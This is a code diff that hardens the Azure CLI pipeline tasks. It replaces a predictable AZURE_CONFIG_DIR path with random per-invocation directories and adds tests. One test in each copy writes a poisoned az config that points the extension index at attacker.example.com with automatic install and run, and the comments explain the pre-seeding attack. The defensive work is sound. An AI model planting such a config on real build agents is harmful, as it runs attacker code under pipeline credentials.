runTryValidateScriptArgsTests(); }); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + it('Should handle Azure DevOps connection with Workload Identity Federation', function (done) { this.timeout(timeout); diff --git a/_generated/AzureCLIV3/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV3/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..d372e7f820c2 --- /dev/null +++ b/_generated/AzureCLIV3/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,133 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/_generated/AzureCLIV3/azureclitask.ts b/_generated/AzureCLIV3/azureclitask.ts index 3b6b24feb1d0..6b16ded16397 100644 --- a/_generated/AzureCLIV3/azureclitask.ts +++ b/_generated/AzureCLIV3/azureclitask.ts @@ -10,6 +10,7 @@ import { ITaskApi } from "azure-devops-node-api/TaskApi"; import { validateAzModuleVersion } from "azure-pipelines-tasks-azure-arm-rest/azCliUtility"; import { emitTelemetry } from 'azure-pipelines-tasks-artifacts-common/telemetry'; import { tryValidateScriptArgs, ArgsSanitizingError } from "./src/argsSanitizer"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -162,7 +163,11 @@ export class azureclitask { } if (scriptType) { - await scriptType.cleanUp(); + try { + await scriptType.cleanUp(); + } catch (cleanupErr) { + tl.warning(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + } } if (this.cliPasswordPath) { @@ -254,11 +259,21 @@ export class azureclitask { } catch (e) { tl.debug(`Failed to emit token-cleanup telemetry: ${e}`); } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear` + // and `az devops configure --defaults`) so they still see the per-invocation + // profile. Removing it earlier would unset AZURE_CONFIG_DIR and cause `az` + // to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -502,10 +517,13 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; + const agentTempDir = tl.getVariable('Agent.TempDirectory'); + if (!!agentTempDir) { + // Security: create an unpredictable per-invocation + // directory so an earlier pipeline step cannot pre-seed a poisoned + // az config file at $(Agent.TempDirectory)/.azclitask/config. + this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/_generated/AzureCLIV3/src/AzureCliConfigDir.ts b/_generated/AzureCLIV3/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..43bf78aa070e --- /dev/null +++ b/_generated/AzureCLIV3/src/AzureCliConfigDir.ts @@ -0,0 +1,81 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/_generated/AzureCLIV3/task.json b/_generated/AzureCLIV3/task.json index 1720204e12f9..2ee6faafd2f4 100644 --- a/_generated/AzureCLIV3/task.json +++ b/_generated/AzureCLIV3/task.json @@ -20,7 +20,7 @@ "version": { "Major": 3, "Minor": 275, - "Patch": 8 + "Patch": 10 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "Azure CLI $(scriptPath)", @@ -275,7 +275,7 @@ "ScriptArgsSanitized": "Detected characters in arguments that may not be executed correctly by the shell. Please escape special characters using backslash (\\). More information is available here: https://aka.ms/ado/75787" }, "_buildConfigMapping": { - "Default": "3.275.8", - "Node24_1": "3.275.9" + "Default": "3.275.10", + "Node24_1": "3.275.11" } } \ No newline at end of file diff --git a/_generated/AzureCLIV3/task.loc.json b/_generated/AzureCLIV3/task.loc.json index 146b91e8665d..113ba4d79771 100644 --- a/_generated/AzureCLIV3/task.loc.json +++ b/_generated/AzureCLIV3/task.loc.json @@ -20,7 +20,7 @@ "version": { "Major": 3, "Minor": 275, - "Patch": 8 + "Patch": 10 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "ms-resource:loc.instanceNameFormat", @@ -275,7 +275,7 @@ "ScriptArgsSanitized": "ms-resource:loc.messages.ScriptArgsSanitized" }, "_buildConfigMapping": { - "Default": "3.275.8", - "Node24_1": "3.275.9" + "Default": "3.275.10", + "Node24_1": "3.275.11" } } \ No newline at end of file diff --git a/_generated/AzureCLIV3_Node24/Tests/L0.ts b/_generated/AzureCLIV3_Node24/Tests/L0.ts index c9a3187f3d95..16c268f7b7ab 100644 --- a/_generated/AzureCLIV3_Node24/Tests/L0.ts +++ b/_generated/AzureCLIV3_Node24/Tests/L0.ts @@ -3,6 +3,7 @@ import path = require('path'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; import { runValidateScriptArgsTests } from './L0ValidateScriptArgs'; import { runTryValidateScriptArgsTests } from './L0TryValidateScriptArgs'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV3 Suite', function () { const timeout = 30000; @@ -21,6 +22,10 @@ describe('AzureCLIV3 Suite', function () { runTryValidateScriptArgsTests(); }); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + it('Should handle Azure DevOps connection with Workload Identity Federation', function (done) { this.timeout(timeout); diff --git a/_generated/AzureCLIV3_Node24/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV3_Node24/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..d372e7f820c2 --- /dev/null +++ b/_generated/AzureCLIV3_Node24/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,133 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/_generated/AzureCLIV3_Node24/azureclitask.ts b/_generated/AzureCLIV3_Node24/azureclitask.ts index 3b6b24feb1d0..6b16ded16397 100644 --- a/_generated/AzureCLIV3_Node24/azureclitask.ts +++ b/_generated/AzureCLIV3_Node24/azureclitask.ts @@ -10,6 +10,7 @@ import { ITaskApi } from "azure-devops-node-api/TaskApi"; import { validateAzModuleVersion } from "azure-pipelines-tasks-azure-arm-rest/azCliUtility"; import { emitTelemetry } from 'azure-pipelines-tasks-artifacts-common/telemetry'; import { tryValidateScriptArgs, ArgsSanitizingError } from "./src/argsSanitizer"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -162,7 +163,11 @@ export class azureclitask { } if (scriptType) { - await scriptType.cleanUp(); + try { + await scriptType.cleanUp(); + } catch (cleanupErr) { + tl.warning(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + } } if (this.cliPasswordPath) { @@ -254,11 +259,21 @@ export class azureclitask { } catch (e) { tl.debug(`Failed to emit token-cleanup telemetry: ${e}`); } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear` + // and `az devops configure --defaults`) so they still see the per-invocation + // profile. Removing it earlier would unset AZURE_CONFIG_DIR and cause `az` + // to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -502,10 +517,13 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; + const agentTempDir = tl.getVariable('Agent.TempDirectory'); + if (!!agentTempDir) { + // Security: create an unpredictable per-invocation + // directory so an earlier pipeline step cannot pre-seed a poisoned + // az config file at $(Agent.TempDirectory)/.azclitask/config. + this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/_generated/AzureCLIV3_Node24/src/AzureCliConfigDir.ts b/_generated/AzureCLIV3_Node24/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..43bf78aa070e --- /dev/null +++ b/_generated/AzureCLIV3_Node24/src/AzureCliConfigDir.ts @@ -0,0 +1,81 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/_generated/AzureCLIV3_Node24/task.json b/_generated/AzureCLIV3_Node24/task.json index 4e5701936cb3..5092f4e00ad4 100644 --- a/_generated/AzureCLIV3_Node24/task.json +++ b/_generated/AzureCLIV3_Node24/task.json @@ -20,7 +20,7 @@ "version": { "Major": 3, "Minor": 275, - "Patch": 9 + "Patch": 11 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "Azure CLI $(scriptPath)", @@ -279,7 +279,7 @@ "ScriptArgsSanitized": "Detected characters in arguments that may not be executed correctly by the shell. Please escape special characters using backslash (\\). More information is available here: https://aka.ms/ado/75787" }, "_buildConfigMapping": { - "Default": "3.275.8", - "Node24_1": "3.275.9" + "Default": "3.275.10", + "Node24_1": "3.275.11" } } \ No newline at end of file diff --git a/_generated/AzureCLIV3_Node24/task.loc.json b/_generated/AzureCLIV3_Node24/task.loc.json index a292abc07fc6..9cd8c3f297fe 100644 --- a/_generated/AzureCLIV3_Node24/task.loc.json +++ b/_generated/AzureCLIV3_Node24/task.loc.json @@ -20,7 +20,7 @@ "version": { "Major": 3, "Minor": 275, - "Patch": 9 + "Patch": 11 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "ms-resource:loc.instanceNameFormat", @@ -279,7 +279,7 @@ "ScriptArgsSanitized": "ms-resource:loc.messages.ScriptArgsSanitized" }, "_buildConfigMapping": { - "Default": "3.275.8", - "Node24_1": "3.275.9" + "Default": "3.275.10", + "Node24_1": "3.275.11" } } \ No newline at end of file